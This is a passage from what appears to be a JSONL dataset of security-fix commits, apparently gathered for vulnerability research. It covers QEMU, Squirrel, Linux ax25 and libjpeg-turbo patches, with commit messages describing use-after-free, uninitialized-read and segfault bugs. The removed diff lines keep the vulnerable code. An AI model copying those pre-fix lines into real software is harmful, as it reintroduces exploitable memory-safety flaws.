(elm)->field.le_prev; \\\n+ } \\\n+ atomic_set((elm)->field.le_prev, (elm)->field.le_next); \\\n+} while (/*CONSTCOND*/0)\n+\n+/* List traversal must occur within an RCU critical section. */\n+#define QLIST_FOREACH_RCU(var, head, field) \\\n+ for ((var) = atomic_rcu_read(&(head)->lh_first); \\\n+ (var); \\\n+ (var) = atomic_rcu_read(&(var)->field.le_next))\n+\n+/* List traversal must occur within an RCU critical section. */\n+#define QLIST_FOREACH_SAFE_RCU(var, head, field, next_var) \\\n+ for ((var) = (atomic_rcu_read(&(head)->lh_first)); \\\n+ (var) && \\\n+ ((next_var) = atomic_rcu_read(&(var)->field.le_next), 1); \\\n+ (var) = (next_var))\n+\n+/*\n+ * RCU simple queue\n+ */\n+\n+/* Simple queue access methods */\n+#define QSIMPLEQ_EMPTY_RCU(head) (atomic_read(&(head)->sqh_first) == NULL)\n+#define QSIMPLEQ_FIRST_RCU(head) atomic_rcu_read(&(head)->sqh_first)\n+#define QSIMPLEQ_NEXT_RCU(elm, field) atomic_rcu_read(&(elm)->field.sqe_next)\n+\n+/* Simple queue functions */\n+#define QSIMPLEQ_INSERT_HEAD_RCU(head, elm, field) do { \\\n+ (elm)->field.sqe_next = (head)->sqh_first; \\\n+ if ((elm)->field.sqe_next == NULL) { \\\n+ (head)->sqh_last = &(elm)->field.sqe_next; \\\n+ } \\\n+ atomic_rcu_set(&(head)->sqh_first, (elm)); \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_INSERT_TAIL_RCU(head, elm, field) do { \\\n+ (elm)->field.sqe_next = NULL; \\\n+ atomic_rcu_set((head)->sqh_last, (elm)); \\\n+ (head)->sqh_last = &(elm)->field.sqe_next; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_INSERT_AFTER_RCU(head, listelm, elm, field) do { \\\n+ (elm)->field.sqe_next = (listelm)->field.sqe_next; \\\n+ if ((elm)->field.sqe_next == NULL) { \\\n+ (head)->sqh_last = &(elm)->field.sqe_next; \\\n+ } \\\n+ atomic_rcu_set(&(listelm)->field.sqe_next, (elm)); \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_REMOVE_HEAD_RCU(head, field) do { \\\n+ atomic_set(&(head)->sqh_first, (head)->sqh_first->field.sqe_next); \\\n+ if ((head)->sqh_first == NULL) { \\\n+ (head)->sqh_last = &(head)->sqh_first; \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_REMOVE_RCU(head, elm, type, field) do { \\\n+ if ((head)->sqh_first == (elm)) { \\\n+ QSIMPLEQ_REMOVE_HEAD_RCU((head), field); \\\n+ } else { \\\n+ struct type *curr = (head)->sqh_first; \\\n+ while (curr->field.sqe_next != (elm)) { \\\n+ curr = curr->field.sqe_next; \\\n+ } \\\n+ atomic_set(&curr->field.sqe_next, \\\n+ curr->field.sqe_next->field.sqe_next); \\\n+ if (curr->field.sqe_next == NULL) { \\\n+ (head)->sqh_last = &(curr)->field.sqe_next; \\\n+ } \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_FOREACH_RCU(var, head, field) \\\n+ for ((var) = atomic_rcu_read(&(head)->sqh_first); \\\n+ (var); \\\n+ (var) = atomic_rcu_read(&(var)->field.sqe_next))\n+\n+#define QSIMPLEQ_FOREACH_SAFE_RCU(var, head, field, next) \\\n+ for ((var) = atomic_rcu_read(&(head)->sqh_first); \\\n+ (var) && ((next) = atomic_rcu_read(&(var)->field.sqe_next), 1); \\\n+ (var) = (next))\n+\n+/*\n+ * RCU tail queue\n+ */\n+\n+/* Tail queue access methods */\n+#define QTAILQ_EMPTY_RCU(head) (atomic_read(&(head)->tqh_first) == NULL)\n+#define QTAILQ_FIRST_RCU(head) atomic_rcu_read(&(head)->tqh_first)\n+#define QTAILQ_NEXT_RCU(elm, field) atomic_rcu_read(&(elm)->field.tqe_next)\n+\n+/* Tail queue functions */\n+#define QTAILQ_INSERT_HEAD_RCU(head, elm, field) do { \\\n+ (elm)->field.tqe_next = (head)->tqh_first; \\\n+ if ((elm)->field.tqe_next != NULL) { \\\n+ (head)->tqh_first->field.tqe_circ.tql_prev = \\\n+ &(elm)->field.tqe_circ; \\\n+ } else { \\\n+ (head)->tqh_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+ } \\\n+ atomic_rcu_set(&(head)->tqh_first, (elm)); \\\n+ (elm)->field.tqe_circ.tql_prev = &(head)->tqh_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_INSERT_TAIL_RCU(head, elm, field) do { \\\n+ (elm)->field.tqe_next = NULL; \\\n+ (elm)->field.tqe_circ.tql_prev = (head)->tqh_circ.tql_prev; \\\n+ atomic_rcu_set(&(head)->tqh_circ.tql_prev->tql_next, (elm)); \\\n+ (head)->tqh_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_INSERT_AFTER_RCU(head, listelm, elm, field) do { \\\n+ (elm)->field.tqe_next = (listelm)->field.tqe_next; \\\n+ if ((elm)->field.tqe_next != NULL) { \\\n+ (elm)->field.tqe_next->field.tqe_circ.tql_prev = \\\n+ &(elm)->field.tqe_circ; \\\n+ } else { \\\n+ (head)->tqh_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+ } \\\n+ atomic_rcu_set(&(listelm)->field.tqe_next, (elm)); \\\n+ (elm)->field.tqe_circ.tql_prev = &(listelm)->field.tqe_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_INSERT_BEFORE_RCU(listelm, elm, field) do { \\\n+ (elm)->field.tqe_circ.tql_prev = (listelm)->field.tqe_circ.tql_prev; \\\n+ (elm)->field.tqe_next = (listelm); \\\n+ atomic_rcu_set(&(listelm)->field.tqe_circ.tql_prev->tql_next, (elm)); \\\n+ (listelm)->field.tqe_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_REMOVE_RCU(head, elm, field) do { \\\n+ if (((elm)->field.tqe_next) != NULL) { \\\n+ (elm)->field.tqe_next->field.tqe_circ.tql_prev = \\\n+ (elm)->field.tqe_circ.tql_prev; \\\n+ } else { \\\n+ (head)->tqh_circ.tql_prev = (elm)->field.tqe_circ.tql_prev; \\\n+ } \\\n+ atomic_set(&(elm)->field.tqe_circ.tql_prev->tql_next, (elm)->field.tqe_next); \\\n+ (elm)->field.tqe_circ.tql_prev = NULL; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_FOREACH_RCU(var, head, field) \\\n+ for ((var) = atomic_rcu_read(&(head)->tqh_first); \\\n+ (var); \\\n+ (var) = atomic_rcu_read(&(var)->field.tqe_next))\n+\n+#define QTAILQ_FOREACH_SAFE_RCU(var, head, field, next) \\\n+ for ((var) = atomic_rcu_read(&(head)->tqh_first); \\\n+ (var) && ((next) = atomic_rcu_read(&(var)->field.tqe_next), 1); \\\n+ (var) = (next))\n+\n+#ifdef __cplusplus\n+}\n+#endif\n+#endif /* QEMU_RCU_QUEUE_H */", "related": false}]} +{"owner": "albertodemichelis", "repo": "squirrel", "language": "C++", "file_name": "squirrel/sqclass.cpp", "commit_id": "23a0620658714b996d20da3d4dd1a0dcf9b0bd98", "commit_message": "check max member count in class", "patch": "@@ -61,6 +61,9 @@ bool SQClass::NewSlot(SQSharedState *ss,const SQObjectPtr &key,const SQObjectPtr\n _defaultvalues[_member_idx(temp)].val = val;\n return true;\n }\n+\tif (_members->CountUsed() >= MEMBER_MAX_COUNT) {\n+\t\treturn false;\n+\t}\n if(belongs_to_static_table) {\n SQInteger mmidx;\n if((sq_type(val) == OT_CLOSURE || sq_type(val) == OT_NATIVECLOSURE) &&", "sections": [{"section": "@@ -61,6 +61,9 @@ bool SQClass::NewSlot(SQSharedState *ss,const SQObjectPtr &key,const SQObjectPtr\n _defaultvalues[_member_idx(temp)].val = val;\n return true;\n }\n+\tif (_members->CountUsed() >= MEMBER_MAX_COUNT) {\n+\t\treturn false;\n+\t}\n if(belongs_to_static_table) {\n SQInteger mmidx;\n if((sq_type(val) == OT_CLOSURE || sq_type(val) == OT_NATIVECLOSURE) &&", "related": false}]} +{"owner": "qemu", "repo": "qemu", "language": "C", "file_name": "softmmu/physmem.c", "commit_id": "418ade7849ce7641c0f7333718caf5091a02fd4c", "commit_message": "softmmu: Always initialize xlat in address_space_translate_for_iotlb\n\nThe bug is an uninitialized memory read, along the translate_fail\npath, which results in garbage being read from iotlb_to_section,\nwhich can lead to a crash in io_readx/io_writex.\n\nThe bug may be fixed by writing any value with zero\nin ~TARGET_PAGE_MASK, so that the call to iotlb_to_section using\nthe xlat'ed address returns io_mem_unassigned, as desired by the\ntranslate_fail path.\n\nIt is most useful to record the original physical page address,\nwhich will eventually be logged by memory_region_access_valid\nwhen the access is rejected by unassigned_mem_accepts.\n\nResolves: https://gitlab.com/qemu-project/qemu/-/issues/1065\nSigned-off-by: Richard Henderson \nReviewed-by: Peter Maydell \nMessage-Id: <20220621153829.366423-1-richard.henderson@linaro.org>", "patch": "@@ -669,7 +669,7 @@ void tcg_iommu_init_notifier_list(CPUState *cpu)\n \n /* Called from RCU critical section */\n MemoryRegionSection *\n-address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr,\n+address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr orig_addr,\n hwaddr *xlat, hwaddr *plen,\n MemTxAttrs attrs, int *prot)\n {\n@@ -678,6 +678,7 @@ address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr,\n IOMMUMemoryRegionClass *imrc;\n IOMMUTLBEntry iotlb;\n int iommu_idx;\n+ hwaddr addr = orig_addr;\n AddressSpaceDispatch *d =\n qatomic_rcu_read(&cpu->cpu_ases[asidx].memory_dispatch);\n \n@@ -722,6 +723,16 @@ address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr,\n return section;\n \n translate_fail:\n+ /*\n+ * We should be given a page-aligned address -- certainly\n+ * tlb_set_page_with_attrs() does so. The page offset of xlat\n+ * is used to index sections[], and PHYS_SECTION_UNASSIGNED = 0.\n+ * The page portion of xlat will be logged by memory_region_access_valid()\n+ * when this memory access is rejected, so use the original untranslated\n+ * physical address.\n+ */\n+ assert((orig_addr & ~TARGET_PAGE_MASK) == 0);\n+ *xlat = orig_addr;\n return &d->map.sections[PHYS_SECTION_UNASSIGNED];\n }\n ", "sections": [{"section": "@@ -669,7 +669,7 @@ void tcg_iommu_init_notifier_list(CPUState *cpu)\n \n /* Called from RCU critical section */\n MemoryRegionSection *\n-address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr,\n+address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr orig_addr,\n hwaddr *xlat, hwaddr *plen,\n MemTxAttrs attrs, int *prot)\n {\n", "related": false}, {"section": "@@ -678,6 +678,7 @@ address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr,\n IOMMUMemoryRegionClass *imrc;\n IOMMUTLBEntry iotlb;\n int iommu_idx;\n+ hwaddr addr = orig_addr;\n AddressSpaceDispatch *d =\n qatomic_rcu_read(&cpu->cpu_ases[asidx].memory_dispatch);\n \n", "related": false}, {"section": "@@ -722,6 +723,16 @@ address_space_translate_for_iotlb(CPUState *cpu, int asidx, hwaddr addr,\n return section;\n \n translate_fail:\n+ /*\n+ * We should be given a page-aligned address -- certainly\n+ * tlb_set_page_with_attrs() does so. The page offset of xlat\n+ * is used to index sections[], and PHYS_SECTION_UNASSIGNED = 0.\n+ * The page portion of xlat will be logged by memory_region_access_valid()\n+ * when this memory access is rejected, so use the original untranslated\n+ * physical address.\n+ */\n+ assert((orig_addr & ~TARGET_PAGE_MASK) == 0);\n+ *xlat = orig_addr;\n return &d->map.sections[PHYS_SECTION_UNASSIGNED];\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ax25/af_ax25.c", "commit_id": "82e31755e55fbcea6a9dfaae5fe4860ade17cbc0", "commit_message": "ax25: Fix UAF bugs in ax25 timers\n\nThere are race conditions that may lead to UAF bugs in\nax25_heartbeat_expiry(), ax25_t1timer_expiry(), ax25_t2timer_expiry(),\nax25_t3timer_expiry() and ax25_idletimer_expiry(), when we call\nax25_release() to deallocate ax25_dev.\n\nOne of the UAF bugs caused by ax25_release() is shown below:\n\n (Thread 1) | (Thread 2)\nax25_dev_device_up() //(1) |\n... | ax25_kill_by_device()\nax25_bind() //(2) |\nax25_connect() | ...\n ax25_std_establish_data_link() |\n ax25_start_t1timer() | ax25_dev_device_down() //(3)\n mod_timer(&ax25->t1timer,..) |\n | ax25_release()\n (wait a time) | ...\n | ax25_dev_put(ax25_dev) //(4)FREE\n ax25_t1timer_expiry() |\n ax25->ax25_dev->values[..] //USE| ...\n ... |\n\nWe increase the refcount of ax25_dev in position (1) and (2), and\ndecrease the refcount of ax25_dev in position (3) and (4).\nThe ax25_dev will be freed in position (4) and be used in\nax25_t1timer_expiry().\n\nThe fail log is shown below:\n==============================================================\n\n[ 106.116942] BUG: KASAN: use-after-free in ax25_t1timer_expiry+0x1c/0x60\n[ 106.116942] Read of size 8 at addr ffff88800bda9028 by task swapper/0/0\n[ 106.116942] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.17.0-06123-g0905eec574\n[ 106.116942] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-14\n[ 106.116942] Call Trace:\n...\n[ 106.116942] ax25_t1timer_expiry+0x1c/0x60\n[ 106.116942] call_timer_fn+0x122/0x3d0\n[ 106.116942] __run_timers.part.0+0x3f6/0x520\n[ 106.116942] run_timer_softirq+0x4f/0xb0\n[ 106.116942] __do_softirq+0x1c2/0x651\n...\n\nThis patch adds del_timer_sync() in ax25_release(), which could ensure\nthat all timers stop before we deallocate ax25_dev.\n\nSigned-off-by: Duoming Zhou \nSigned-off-by: Paolo Abeni ", "patch": "@@ -1053,6 +1053,11 @@ static int ax25_release(struct socket *sock)\n \t\tax25_destroy_socket(ax25);\n \t}\n \tif (ax25_dev) {\n+\t\tdel_timer_sync(&ax25->timer);\n+\t\tdel_timer_sync(&ax25->t1timer);\n+\t\tdel_timer_sync(&ax25->t2timer);\n+\t\tdel_timer_sync(&ax25->t3timer);\n+\t\tdel_timer_sync(&ax25->idletimer);\n \t\tdev_put_track(ax25_dev->dev, &ax25_dev->dev_tracker);\n \t\tax25_dev_put(ax25_dev);\n \t}", "sections": [{"section": "@@ -1053,6 +1053,11 @@ static int ax25_release(struct socket *sock)\n \t\tax25_destroy_socket(ax25);\n \t}\n \tif (ax25_dev) {\n+\t\tdel_timer_sync(&ax25->timer);\n+\t\tdel_timer_sync(&ax25->t1timer);\n+\t\tdel_timer_sync(&ax25->t2timer);\n+\t\tdel_timer_sync(&ax25->t3timer);\n+\t\tdel_timer_sync(&ax25->idletimer);\n \t\tdev_put_track(ax25_dev->dev, &ax25_dev->dev_tracker);\n \t\tax25_dev_put(ax25_dev);\n \t}", "related": false}]} +{"owner": "libjpeg-turbo", "repo": "libjpeg-turbo", "language": "C", "file_name": "jdapistd.c", "commit_id": "9120a247436e84c0b4eea828cb11e8f665fcde30", "commit_message": "Fix jpeg_skip_scanlines() segfault w/merged upsamp\n\nThe additional segfault mentioned in #244 was due to the fact that\nthe merged upsamplers use a different private structure than the\nnon-merged upsamplers. jpeg_skip_scanlines() was assuming the latter, so\nwhen merged upsampling was enabled, jpeg_skip_scanlines() clobbered one\nof the IDCT method pointers in the merged upsampler's private structure.\n\nFor reasons unknown, the test image in #441 did not encounter this\nsegfault (too small?), but it encountered an issue similar to the one\nfixed in 5bc43c7821df982f65aa1c738f67fbf7cba8bd69, whereby it was\nnecessary to set up a dummy postprocessing function in\nread_and_discard_scanlines() when merged upsampling was enabled.\nFailing to do so caused either a segfault in merged_2v_upsample() (due\nto a NULL pointer being passed to jcopy_sample_rows()) or an error\n(\"Corrupt JPEG data: premature end of data segment\"), depending on the\nnumber of scanlines skipped and whether the first scanline skipped was\nan odd- or even-numbered row.\n\nFixes #441\nFixes #244 (for real this time)", "patch": "@@ -4,7 +4,7 @@\n * This file was part of the Independent JPEG Group's software:\n * Copyright (C) 1994-1996, Thomas G. Lane.\n * libjpeg-turbo Modifications:\n- * Copyright (C) 2010, 2015-2018, D. R. Commander.\n+ * Copyright (C) 2010, 2015-2018, 2020, D. R. Commander.\n * Copyright (C) 2015, Google, Inc.\n * For conditions of distribution and use, see the accompanying README.ijg\n * file.\n@@ -21,6 +21,8 @@\n #include \"jinclude.h\"\n #include \"jdmainct.h\"\n #include \"jdcoefct.h\"\n+#include \"jdmaster.h\"\n+#include \"jdmerge.h\"\n #include \"jdsample.h\"\n #include \"jmemsys.h\"\n \n@@ -304,6 +306,16 @@ noop_quantize(j_decompress_ptr cinfo, JSAMPARRAY input_buf,\n }\n \n \n+/* Dummy postprocessing function used by jpeg_skip_scanlines() */\n+LOCAL(void)\n+noop_post_process (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,\n+ JDIMENSION *in_row_group_ctr,\n+ JDIMENSION in_row_groups_avail, JSAMPARRAY output_buf,\n+ JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail)\n+{\n+}\n+\n+\n /*\n * In some cases, it is best to call jpeg_read_scanlines() and discard the\n * output, rather than skipping the scanlines, because this allows us to\n@@ -316,11 +328,17 @@ LOCAL(void)\n read_and_discard_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n {\n JDIMENSION n;\n+ my_master_ptr master = (my_master_ptr)cinfo->master;\n void (*color_convert) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,\n JDIMENSION input_row, JSAMPARRAY output_buf,\n int num_rows) = NULL;\n void (*color_quantize) (j_decompress_ptr cinfo, JSAMPARRAY input_buf,\n JSAMPARRAY output_buf, int num_rows) = NULL;\n+ void (*post_process_data) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,\n+ JDIMENSION *in_row_group_ctr,\n+ JDIMENSION in_row_groups_avail,\n+ JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,\n+ JDIMENSION out_rows_avail) = NULL;\n \n if (cinfo->cconvert && cinfo->cconvert->color_convert) {\n color_convert = cinfo->cconvert->color_convert;\n@@ -332,6 +350,12 @@ read_and_discard_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n cinfo->cquantize->color_quantize = noop_quantize;\n }\n \n+ if (master->using_merged_upsample && cinfo->post &&\n+ cinfo->post->post_process_data) {\n+ post_process_data = cinfo->post->post_process_data;\n+ cinfo->post->post_process_data = noop_post_process;\n+ }\n+\n for (n = 0; n < num_lines; n++)\n jpeg_read_scanlines(cinfo, NULL, 1);\n \n@@ -340,6 +364,9 @@ read_and_discard_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n \n if (color_quantize)\n cinfo->cquantize->color_quantize = color_quantize;\n+\n+ if (post_process_data)\n+ cinfo->post->post_process_data = post_process_data;\n }\n \n \n@@ -382,7 +409,7 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n {\n my_main_ptr main_ptr = (my_main_ptr)cinfo->main;\n my_coef_ptr coef = (my_coef_ptr)cinfo->coef;\n- my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ my_master_ptr master = (my_master_ptr)cinfo->master;\n JDIMENSION i, x;\n int y;\n JDIMENSION lines_per_iMCU_row, lines_left_in_iMCU_row, lines_after_iMCU_row;\n@@ -445,8 +472,16 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n main_ptr->buffer_full = FALSE;\n main_ptr->rowgroup_ctr = 0;\n main_ptr->context_state = CTX_PREPARE_FOR_IMCU;\n- upsample->next_row_out = cinfo->max_v_samp_factor;\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample =\n+ (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->spare_full = FALSE;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->next_row_out = cinfo->max_v_samp_factor;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n }\n \n /* Skipping is much simpler when context rows are not required. */\n@@ -458,8 +493,16 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n cinfo->output_scanline += lines_left_in_iMCU_row;\n main_ptr->buffer_full = FALSE;\n main_ptr->rowgroup_ctr = 0;\n- upsample->next_row_out = cinfo->max_v_samp_factor;\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample =\n+ (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->spare_full = FALSE;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->next_row_out = cinfo->max_v_samp_factor;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n }\n }\n \n@@ -494,7 +537,14 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n cinfo->output_iMCU_row += lines_to_skip / lines_per_iMCU_row;\n increment_simple_rowgroup_ctr(cinfo, lines_to_read);\n }\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample =\n+ (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n return num_lines;\n }\n \n@@ -535,7 +585,13 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n * bit odd, since \"rows_to_go\" seems to be redundantly keeping track of\n * output_scanline.\n */\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample = (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n \n /* Always skip the requested number of lines. */\n return num_lines;", "sections": [{"section": "@@ -4,7 +4,7 @@\n * This file was part of the Independent JPEG Group's software:\n * Copyright (C) 1994-1996, Thomas G. Lane.\n * libjpeg-turbo Modifications:\n- * Copyright (C) 2010, 2015-2018, D. R. Commander.\n+ * Copyright (C) 2010, 2015-2018, 2020, D. R. Commander.\n * Copyright (C) 2015, Google, Inc.\n * For conditions of distribution and use, see the accompanying README.ijg\n * file.\n", "related": false}, {"section": "@@ -21,6 +21,8 @@\n #include \"jinclude.h\"\n #include \"jdmainct.h\"\n #include \"jdcoefct.h\"\n+#include \"jdmaster.h\"\n+#include \"jdmerge.h\"\n #include \"jdsample.h\"\n #include \"jmemsys.h\"\n \n", "related": false}, {"section": "@@ -304,6 +306,16 @@ noop_quantize(j_decompress_ptr cinfo, JSAMPARRAY input_buf,\n }\n \n \n+/* Dummy postprocessing function used by jpeg_skip_scanlines() */\n+LOCAL(void)\n+noop_post_process (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,\n+ JDIMENSION *in_row_group_ctr,\n+ JDIMENSION in_row_groups_avail, JSAMPARRAY output_buf,\n+ JDIMENSION *out_row_ctr, JDIMENSION out_rows_avail)\n+{\n+}\n+\n+\n /*\n * In some cases, it is best to call jpeg_read_scanlines() and discard the\n * output, rather than skipping the scanlines, because this allows us to\n", "related": false}, {"section": "@@ -316,11 +328,17 @@ LOCAL(void)\n read_and_discard_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n {\n JDIMENSION n;\n+ my_master_ptr master = (my_master_ptr)cinfo->master;\n void (*color_convert) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,\n JDIMENSION input_row, JSAMPARRAY output_buf,\n int num_rows) = NULL;\n void (*color_quantize) (j_decompress_ptr cinfo, JSAMPARRAY input_buf,\n JSAMPARRAY output_buf, int num_rows) = NULL;\n+ void (*post_process_data) (j_decompress_ptr cinfo, JSAMPIMAGE input_buf,\n+ JDIMENSION *in_row_group_ctr,\n+ JDIMENSION in_row_groups_avail,\n+ JSAMPARRAY output_buf, JDIMENSION *out_row_ctr,\n+ JDIMENSION out_rows_avail) = NULL;\n \n if (cinfo->cconvert && cinfo->cconvert->color_convert) {\n color_convert = cinfo->cconvert->color_convert;\n", "related": false}, {"section": "@@ -332,6 +350,12 @@ read_and_discard_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n cinfo->cquantize->color_quantize = noop_quantize;\n }\n \n+ if (master->using_merged_upsample && cinfo->post &&\n+ cinfo->post->post_process_data) {\n+ post_process_data = cinfo->post->post_process_data;\n+ cinfo->post->post_process_data = noop_post_process;\n+ }\n+\n for (n = 0; n < num_lines; n++)\n jpeg_read_scanlines(cinfo, NULL, 1);\n \n", "related": false}, {"section": "@@ -340,6 +364,9 @@ read_and_discard_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n \n if (color_quantize)\n cinfo->cquantize->color_quantize = color_quantize;\n+\n+ if (post_process_data)\n+ cinfo->post->post_process_data = post_process_data;\n }\n \n \n", "related": false}, {"section": "@@ -382,7 +409,7 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n {\n my_main_ptr main_ptr = (my_main_ptr)cinfo->main;\n my_coef_ptr coef = (my_coef_ptr)cinfo->coef;\n- my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ my_master_ptr master = (my_master_ptr)cinfo->master;\n JDIMENSION i, x;\n int y;\n JDIMENSION lines_per_iMCU_row, lines_left_in_iMCU_row, lines_after_iMCU_row;\n", "related": false}, {"section": "@@ -445,8 +472,16 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n main_ptr->buffer_full = FALSE;\n main_ptr->rowgroup_ctr = 0;\n main_ptr->context_state = CTX_PREPARE_FOR_IMCU;\n- upsample->next_row_out = cinfo->max_v_samp_factor;\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample =\n+ (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->spare_full = FALSE;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->next_row_out = cinfo->max_v_samp_factor;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n }\n \n /* Skipping is much simpler when context rows are not required. */\n", "related": false}, {"section": "@@ -458,8 +493,16 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n cinfo->output_scanline += lines_left_in_iMCU_row;\n main_ptr->buffer_full = FALSE;\n main_ptr->rowgroup_ctr = 0;\n- upsample->next_row_out = cinfo->max_v_samp_factor;\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample =\n+ (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->spare_full = FALSE;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->next_row_out = cinfo->max_v_samp_factor;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n }\n }\n \n", "related": false}, {"section": "@@ -494,7 +537,14 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n cinfo->output_iMCU_row += lines_to_skip / lines_per_iMCU_row;\n increment_simple_rowgroup_ctr(cinfo, lines_to_read);\n }\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample =\n+ (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n return num_lines;\n }\n \n", "related": false}, {"section": "@@ -535,7 +585,13 @@ jpeg_skip_scanlines(j_decompress_ptr cinfo, JDIMENSION num_lines)\n * bit odd, since \"rows_to_go\" seems to be redundantly keeping track of\n * output_scanline.\n */\n- upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ if (master->using_merged_upsample) {\n+ my_merged_upsample_ptr upsample = (my_merged_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ } else {\n+ my_upsample_ptr upsample = (my_upsample_ptr)cinfo->upsample;\n+ upsample->rows_to_go = cinfo->output_height - cinfo->output_scanline;\n+ }\n \n /* Always skip the requested number of lines. */\n return num_lines;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ax25/af_ax25.c", "commit_id": "71171ac8eb34ce7fe6b3267dce27c313ab3cb3ac", "commit_message": "ax25: Fix NULL pointer dereference in ax25_kill_by_device\n\nWhen two ax25 devices attempted to establish connection, the requester use ax25_create(),\nax25_bind() and 